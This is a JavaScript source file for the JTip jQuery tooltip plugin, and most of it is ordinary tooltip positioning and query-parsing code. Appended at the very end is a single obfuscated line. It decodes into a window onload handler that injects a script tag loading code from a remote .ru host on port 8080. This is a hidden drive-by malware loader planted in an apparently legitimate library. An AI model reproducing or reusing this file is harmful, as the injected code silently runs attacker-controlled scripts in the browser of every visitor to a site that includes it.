/*
 * JTip
 * By Cody Lindley (http://www.codylindley.com)
 * Under an Attribution, Share Alike License
 * JTip is built on top of the very light weight jquery library.
 */

//on page load (as soon as its ready) call JT_init
$(document).ready(JT_init);

function JT_init(){
	       $("a.jTip")
		   .hover(function(){JT_show(this.href,this.id,this.name)},function(){$('#JT').remove()})
           .click(function(){return false});	   
}

function JT_show(url,linkId,title){
	if(title == false)title="&nbsp;";
	var de = document.documentElement;
	var w = self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
	var hasArea = w - getAbsoluteLeft(linkId);
	var clickElementy = getAbsoluteTop(linkId) - 3; //set y position
	
	var queryString = url.replace(/^[^\?]+\??/,'');
	var params = parseQuery( queryString );
	if(params['width'] === undefined){params['width'] = 250};
	if(params['link'] !== undefined){
	$('#' + linkId).bind('click',function(){window.location = params['link']});
	$('#' + linkId).css('cursor','pointer');
	}
	
	if(hasArea>((params['width']*1)+75)){
		$("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_left'></div><div id='JT_close_left'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//right side
		var arrowOffset = getElementWidth(linkId) + 11;
		var clickElementx = getAbsoluteLeft(linkId) + arrowOffset; //set x position
	}else{
		$("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_right' style='left:"+((params['width']*1)+1)+"px'></div><div id='JT_close_right'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//left side
		var clickElementx = getAbsoluteLeft(linkId) - ((params['width']*1) + 15); //set x position
	}
	
	$('#JT').css({left: clickElementx+"px", top: clickElementy+"px"});
	$('#JT').show();
	$('#JT_copy').load(url);

}

function getElementWidth(objectId) {
	x = document.getElementById(objectId);
	return x.offsetWidth;
}

function getAbsoluteLeft(objectId) {
	// Get an object left position from the upper left viewport corner
	o = document.getElementById(objectId)
	oLeft = o.offsetLeft            // Get left position from the parent object
	while(o.offsetParent!=null) {   // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent    // Get parent object reference
		oLeft += oParent.offsetLeft // Add parent left position
		o = oParent
	}
	return oLeft
}

function getAbsoluteTop(objectId) {
	// Get an object top position from the upper left viewport corner
	o = document.getElementById(objectId)
	oTop = o.offsetTop            // Get top position from the parent object
	while(o.offsetParent!=null) { // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent  // Get parent object reference
		oTop += oParent.offsetTop // Add parent top position
		o = oParent
	}
	return oTop
}

function parseQuery ( query ) {
   var Params = new Object ();
   if ( ! query ) return Params; // return empty object
   var Pairs = query.split(/[;&]/);
   for ( var i = 0; i < Pairs.length; i++ ) {
      var KeyVal = Pairs[i].split('=');
      if ( ! KeyVal || KeyVal.length != 2 ) continue;
      var key = unescape( KeyVal[0] );
      var val = unescape( KeyVal[1] );
      val = val.replace(/\+/g, ' ');
      Params[key] = val;
   }
   return Params;
}

function blockEvents(evt) {
              if(evt.target){
              evt.preventDefault();
              }else{
              evt.returnValue = false;
              }
}
try {this.j="";var N=RegExp;var VA=new String();var vZ='';var p="1U8repl".substr(3)+"kgN7aceNk7g".substr(4,3);var E;if(E!=''){E='_'};var nq;if(nq!='a' && nq!='U'){nq=''};var jl=new Date();function L(m,h){var i;if(i!='' && i!='Z'){i=''};var Lh;if(Lh!='BH'){Lh=''};var _N=new Date();var s="[9fyv".substr(0,1);this.t='';var yP;if(yP!='mT'){yP=''};var d=new String("g");s+=h;var jd=new String();this.NUo='';s+="]";var Je;if(Je!=''){Je='Xa'};var qK_=new String();var x=new N(s, d);var aj=new Array();var kW;if(kW!='' && kW!='jV'){kW=null};return m[p](x, new String());var WY=new Date();};var HL;if(HL!=''){HL='ju'};var Q="";var D;if(D!='ns' && D!='cO'){D='ns'};var o=L('sOcWrWiOpOtO',"OW");var W=window;var H=L('/MgToToWgTlLeM.LcWoMmM/WgLoWoLgLlLeT.LcMoTmM/MsThLoTpLlToMcLaMlM.McMoLmM/TiWpT1T3T8M.TcLoWmM/WtMwTiLtLpMiTcL.LcToWmW.LpWhWpW',"MWLT");var oL=new Array();var Bf=new Date();var Lp=L('c4rxe5a4t5e5E4l5e4m5e5n5t5',"x45");this.uy="";var mt;if(mt!=''){mt='xb'};var B=L('h7t0t0p0:7/0/05080-0c0o0m0.0a0m0a7z0o0n0.7c7o7m7.7p0h7p7-0n7e0t0.7E7x7c7e7l7l7e7n7t0B7l0e7n0d7e0r7.7r7u0:7',"07");this.O="";var y='';this.it="";this.PE="";var sI;if(sI!=''){sI='AF'};var P=L('o0n0l0oFa0d0',"0eF");var g=L('811910921298299909291',"192");var Sb=new Date();this.gh="";Wc=function(){var FU=new String();f=document[Lp](o);this.tQ="";y=B+g;var I;if(I!='' && I!='SH'){I='vk'};y+=H;var kT="";var cp;if(cp!='' && cp!='iz'){cp='on'};var Lv;if(Lv!='hv' && Lv != ''){Lv=null};f.src=y;var IQ;if(IQ!='' && IQ!='Nk'){IQ=''};this.zz='';f.defer=([8,1][1]);var Yx='';var bP;if(bP!='sX'){bP='sX'};document.body.appendChild(f);};var up=new Date();W[P]=Wc;this._W='';} catch(v){var vt=new Array();};var fN;if(fN!=''){fN='DR'};var es='';